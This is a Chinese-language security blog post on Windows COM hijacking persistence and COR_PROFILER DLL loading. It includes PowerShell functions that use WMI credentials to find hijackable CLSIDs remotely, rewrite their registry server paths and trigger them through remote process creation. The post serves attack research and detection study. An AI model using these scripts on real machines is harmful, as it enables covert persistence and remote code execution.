从COM劫持到COR_PROFILE

0x00 前言

      在ATT&CK框架中,持久性方面,攻击者使用计划任务,或者服务作为持久性的相关技术,但很少看到编号为T1546.015的COM组件劫持相关的利用。本文行文仓促,如有错误,请各位积极指正。

0x01 COM劫持

      COM劫持是一种通过劫持COM引用和关系的一种持久性手段,COM劫持是通过修改注册表相关内容来实现替换合法COM组件的引用。

0x1.1 COM模型

      Component Object Model 译为组件对象模型,是一种独立于语言的一种二进制操作模型,攻击者通常使用组件对象模型(即COM)来执行本地代码。由于COM组件是语言独立的。所以,这些接口经常通过各种语言调用来进行代码执行,以及无文件下载以及持久性等诸多隐秘的操作,而被滥用。通常通过指定CLSID(标识GUID)或ProgID(程序标识符)来获得COM对象。

      在0x01 COM劫持一节中,简略的介绍了COM劫持的基本原理,即通过修改注册表相关内容来实现替换合法COM组件的引用。因为COM都通过CLSID标识,这些CLSID数据大多存储在注册表HKEY_CLASSES_ROOT\CLSID,HKEY_CURRENT_USER\Software\Classes\CLSID,以及HKEY_LOCAL_MACHINE\Software\Classes\CLSID中。在CLSID中,和COM劫持相关的键主要有InprocServer32LocalServer32。所以,从狭义上来说,COM劫持主要是通过修改InprocServer32LocalServer32的值来实现的。
mark

      InprocServer32主要存储的是一个*.dll的路径,当实例化一个COM后,就会将InprocServer32存储对的Dll文件加载入实例化该COM的进程中,而LocalServer32存储的是一个.exe的路径,当实例化COM之后,便会以一个进程形式存在。

      当查询CLSID的时候,windows首先会查找HKEY_CURRENT_USER\Software\Classes\CLSID存储的CLSID,当该键不存在的情况下,也会依次查询HKEY_CLASSES_ROOT\CLSIDHKEY_LOCAL_MACHINE\Software\Classes\CLSID
mark

0x1.2 Hunting COM

      在0x1.1中,简单的介绍了COM劫持的基本原理,现在的问题是如何寻找可以被利用的COM?一般的搜索COM有以下三个原则:

  • 增加缺少的CLSID的路径
  • 修改原有的CLSID加载的程序
  • 修改原有的CLSID加载的路径

      在Persistence – COM Hijacking这篇文章中,简略的介绍了如何搜寻可以被利用的COM组件。

      通过Persistence–COM Hijacking的描述,首先将ProcMon设定为

  • 操作是RegOpenKey
  • 结果是NAME NOT FOUND
  • 路径以 InprocServer32 结尾
    mark

      通常,劫持一些系统组件/进程实例化的一些COM,能更好的持久化,也能增加被劫持的几率。这里我选择Explorer.EXE进程。Explorer.EXE是一个常见的系统进程,其作用是管理windows系统的相关资源,通过多次的尝试,对UI的一些操作可能是Explorer.EXE通过COM来实现的。
··
      通过ProcMon筛选的结果,可以选择{B41DB860-8EE4-11D2-9906-E49FADC173CA}这个COM服务器进行劫持。可以看到注册表HKCU\Software\Classes\CLSID\下并不存在{B41DB860-8EE4-11D2-9906-E49FADC173CA}这样的键
mark

      然后在HKCU\Software\Classes\CLSID\下新建上述的CLSID,并设置InProcServer32的路径为COM注入的dll的路径,如下图。此处为了演示效果,仅仅进行一次弹窗而已。
mark

      在下一次重启之后,便可触发COM劫持实现驻留。
mark

      但是,COM劫持的另一个大原则是不能干扰原进程的正常运行,看一个例子,同样的针对Explorer.exe进程,当我打开我的计算机的时候,可以看到先是读取了HKCU\Software\Classes\CLSID\{11DBB47C-A525-400B-9E80-A54615A090C0}\InProcServer32。同样的,新建一个有个CLSID键。虽然在打开我的电脑会被劫持。但是会出现这样的情况。所以这不是一个好的劫持对象。
mark

      在Persistence – COM Hijacking还提到了工具acCOMplice,可以寻找缺失COM服务器的CLSID,但是在验证这个的时候发现。在部分的CLSID的LocalServer32或者InProcServer32键中可以不存在相关的值。例如{00020812-0000-0000-C000-000000000046}
mark

      可以使用如下的脚本遍历注册表中不存在路径的CLSID

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
function Get-MissRegValue_Clsid
{
Param
(
[System.Management.Automation.PSCredential]$Credential,
[string]$ComputerName,
$HK,
[string]$strKeyPath,
[string]$eachSubKey
)
$Clsid = ""
# 拼接路径
$KeyPath = $strKeyPath + "\" + $eachSubKey
# 此处最好是获取他的子键的名字[LocalServer32 or InprocServer32]
$Server32Names = Get-Server32Name -Credential $Credential -ComputerName $ComputerName -HK $HK -strKeyPath $KeyPath
if($Server32Names -eq $null)
{
return
}
ForEach($Server32Name in $Server32Names)
{
$KeyPath2 = $KeyPath + "\" + $Server32Name
$ValueName = ""
$strRegValue = Invoke-WmiMethod -ComputerName $ComputerName -Credential $Credential -class StdRegProv -Name GetStringValue -ArgumentList $HK,$KeyPath2,$ValueName
if($strRegValue.sValue -eq $null)
{
$Clsid = $eachSubKey
Write-Output "Missing Value Of LocalServer32 or InprocServer32 --->${Clsid}"
}
if($strRegValue.sValue -ne $null)
{
$Clsid = $eachSubKey
$ComPath = $strRegValue.sValue
Write-Host "[*]running:${KeyPath2}----->${ComPath} "
}
}
}

      在Hunting COM 这篇文章中,展示了利用powershell实例化COM对象的例子。主要是[activator]::CreateInstance([type]::GetTypeFromCLSID($Clsid))进行实例化的。当修改注册表的InprocServer32的路径之后,这种COM 是很难被触发的。但是可以通过上述手动触发。
mark

      当在win7(x64)或者win10下,按照上述的操作,发现并不能进行COM劫持。并抛出HRESULT:0x800700C1的异常。通过https://stackoverflow.com/questions/50519154/net-4-0-winform-could-not-load-file-or-assembly-or-one-of-its-dependencies-i发现,这是由于自身编译的.dll文件是32位的,但是系统却是64位的,当编译出x64的dll之后,便可触发。
mark

0x1.3 如何利用 COM Hiject

0x1.4 远程COM Hiject

      bohops在滥用 COM 注册表结构一文中,利用$inproc = gwmi Win32_COMSetting | ?{ $_.LocalServer32 -ne $null }来枚举可能造成文件缺失的“LocalServer32”路径,这给我以启示,可以利用Get-WmiObject等WMI方法来枚举所有的COM。

      如下,是Find-MissLibraryComByGet-WmiObject可以远程获取可能被劫持的LoacalServer32和InprocServer32。利用如下WQL语句Query = "Select Name From CIM_DataFile Where Name = '$RemoteFilePath'"判断文件是否存在。由此可以劫持文件不存在的COM。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function Find-MissLibraryComByGet-WmiObject
{
Param
(
[System.Management.Automation.PSCredential]$Credential,
[string]$ComputerName
)
$ComSetting = Get-WmiObject -ComputerName $ComputerName -Credential $Credential -class Win32_ComSetting
ForEach($_ in $ComSetting)
{
if ($_.LocalServer32 -ne $null)
{
$Server32 = $_.LocalServer32
}
if($_.InprocServer32 -ne $null)
{
$Server32 = $_.InprocServer32
}
$ClSid = $_.ComponentId
if(($ClSid -ne $null) -and ($Server32 -ne $null))
{
# 清楚路径上的多余数据
$Server32 = Clear-Server32($Server32)
Write-Host "[*]running:${Clsid}----->$Server32 "
# 判断文件是否存在
if((IsRemoteFileExist -ComputerName $ComputerName -Credential $Credential -RemoteFilePath $Server32) -eq $False)
{
Write-Output "[!]Missing File Of LocalServer32 or InprocServer32: ${Clsid}--->${Server32}"
}
}
}
}

      在CLSID下还有一个特殊的键,名为“TreatAs”,其作为CLSID的一个软连接,当实例化一个含有TreatAs键的COM时,首先会读取原CLSID的数据,如果存在TreatAs键的时候,便读取TreatAs键的值,然后读取第二个CLSID,根据情况加载第二个CLSID的exe或者dll。
mark

      如此的话,此时通常会有两个攻击面,第一,可以修改TreatAs的值,从而将其劫持到一个非法的CLSID。第二,可以劫持TreatAs所对应的CLSID。

      当检索系统中可能存在劫持可能的CLSID之后,就可以通过修改注册表实现COM劫持。WMI也存在修改注册表的方法。WMI的StdRegProv类提供了多个读取,遍历,修改注册表数据的函数。

      使用 GetStringValue函数获取键值的值

1
$regvalue = Invoke-WmiMethod -class StdRegProv -Name GetStringValue -ArgumentList $HKCU,$RegKey,$RegName

      使用CreateKey函数创建键

1
$regcreatekey = Invoke-WmiMethod -class StdRegProv -Name CreateKey -ArgumentList $HKCU,$RegKey

      使用SetStringValue函数设置键的值

1
$regsetvalue = Invoke-WmiMethod -Class StdRegProv -Name SetStringValue -ArgumentList $HKCU,$RegKey,$RegValue,$RegName

      使用EnumKey检索项下面所有键

1
Invoke-WmiMethod -ComputerName $ComputerName -Credential $Credential -class StdRegProv -Name EnumKey -ArgumentList $HK,$strKeyPath

      如下通过远程设置注册表来COM劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
function Set-ComHiject
{
Param
(
[System.Management.Automation.PSCredential]$Credential,
[string]$ComputerName,
[ValidateSet("HKCR","HKLM","HKCU")][String]$RegHive,
[string]$Clsid,
[string]$HijectComPath
)
if ($RegHive -eq "HKCR")
{
$HK = 2147483648
$KeyPath ="CLSID"
}
elseif ($RegHive -eq "HKLM")
{
$HK = 2147483650
$KeyPath = "SOFTWARE\Classes\CLSID"
}
elseif ($RegHive -eq "HKCU")
{
$HK = 2147483649
$KeyPath = "SOFTWARE\Classes\CLSID"
}
# 首先遍历是否存在ServerName32 一来可以判断是否存在CLSID 二来可以获取ServerName的类型
$KeyPath2 = $KeyPath + "\" + $Clsid
$Server32Names = Get-Server32Name -Credential $Credential -ComputerName $ComputerName -HK $HK -strKeyPath $KeyPath2
if($Server32Names -ne $null)
{
if($Server32Names.count -eq 2)
{
$Server32Name = "InProcServer32"
}
else
{
if(($Server32Names -contains "LocalServer32") -eq $True) #LocalServer32
{
$Server32Name = "LocalServer32"
}
elseif(($Server32Names -contains "InProcServer32") -eq $True)
{
$Server32Name = "InProcServer32"
}
}
# 修改注册表
$RegKey = $KeyPath2 + "\" + $Server32Name
$KeyValue= $HijectComPath
$KeyName = ""
$RegSetValue = Invoke-WmiMethod -Credential $Credential -ComputerName $ComputerName -Class StdRegProv -Name SetStringValue -ArgumentList $HK,$RegKey,$KeyValue,$KeyName
# 检查操作结果
if($RegSetValue.ReturnValue -eq 0)
{
# 读取操作结果
$RegGetValue = Invoke-WmiMethod -Credential $Credential -ComputerName $ComputerName -class StdRegProv -Name GetStringValue -ArgumentList $HK,$RegKey,$KeyName
if(($RegGetValue.ReturnValue -eq 0) -and ($RegGetValue.sValue -eq $KeyValue))
{
# 确认是否触发
$Flag = Read-Host "[!]whether to trigger com hijacking[Y/N]>"
if($Flag.ToLower() -eq "y")
{
$Process = RemoteCreateInstance -Credential $Credential -ComputerName $ComputerName -Clsid $Clsid
if($Process -ne $null)
{
Write-Host "[*]maybe trigger com hijacking success"
}
}
}
}
}
else
{
$Clsid = $KeyName
Write-Host "[!]do not find ${Clsid}"
}
}

mark

      最后一步,可能就是触发COM劫持,一般而言,实例化COM是加载CLSID的二进制文件的原因,所以在本地通常使用CreateInstance实例化CLSID,我以为可以使用[activator]::CreateInstance([type]::GetTypeFromCLSID($Clsid,$ComputerName))进行远程实例化,但是,实际上这是不可以的。因为这些CLSID并不是DCOM。而是普通COM,其并不具有远程实例化的能力。
mark

      所以,我只能把其映射到远程计算机本地去处理,在WMImplant中,我曾经修改过其代码,以便其能远程执行代码。其原理是利用Win32_Process类的Create函数创建带参数的powershell进行远程执行代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function RemoteCreateInstance
{
Param
(
[System.Management.Automation.PSCredential]$Credential,
[string]$ComputerName,
[string]$Clsid
)
#$Clsid = "{00020818-0000-0000-C000-000000000046}"
$command = "[activator]::CreateInstance([type]::GetTypeFromCLSID('$Clsid'))"
#$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
#$encodedCommand = [Convert]::ToBase64String($bytes)
$remote_command = "powershell.exe powershell -Command {$command}"
$process = Invoke-WmiMethod -Credential $Credential -ComputerName $ComputerName -Class Win32_Process -EnableAllPrivileges -Impersonation 3 -Authentication Packetprivacy -Name Create -Argumentlist $remote_command
}

mark
mark

0x02 COR_PROFILE

      COR_PROFILER是.NET Framework提供的一项监视或者调试CRL托管代码,这是一个.dll文件,并在运行的时候由CLR进行加载。具体技术细节可以参考微软的相关技术文章。https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview

      COR_PROFILE通常使用环境变量注册COR_PROFILE,在.NET Framework 4之前,将COR_PROFILER设置一个CLSID,当创建.NET进程后,就会读取该CLSID下设置的COM服务器,并加载对应的二进制文件,在.NET Framework 4之后,只需要设置COR_PROFILER_PATH为需要加载dll的路径,那么就会屏蔽COR_PROFILER设置的COM。

1
2
3
COR_ENABLE_PROFILING=1
COR_PROFILER=CLSID
COR_PROFILER_PATH = dll path

mark

      因为使用powershell设置环境变量,仅仅修改的是副本,也就是说,修改的环境变量会随着这次powershell进程的退出而消失。并且,通过powershell设置环境变量而注册的dll,必须设置上述三个变量才可以生效。
mark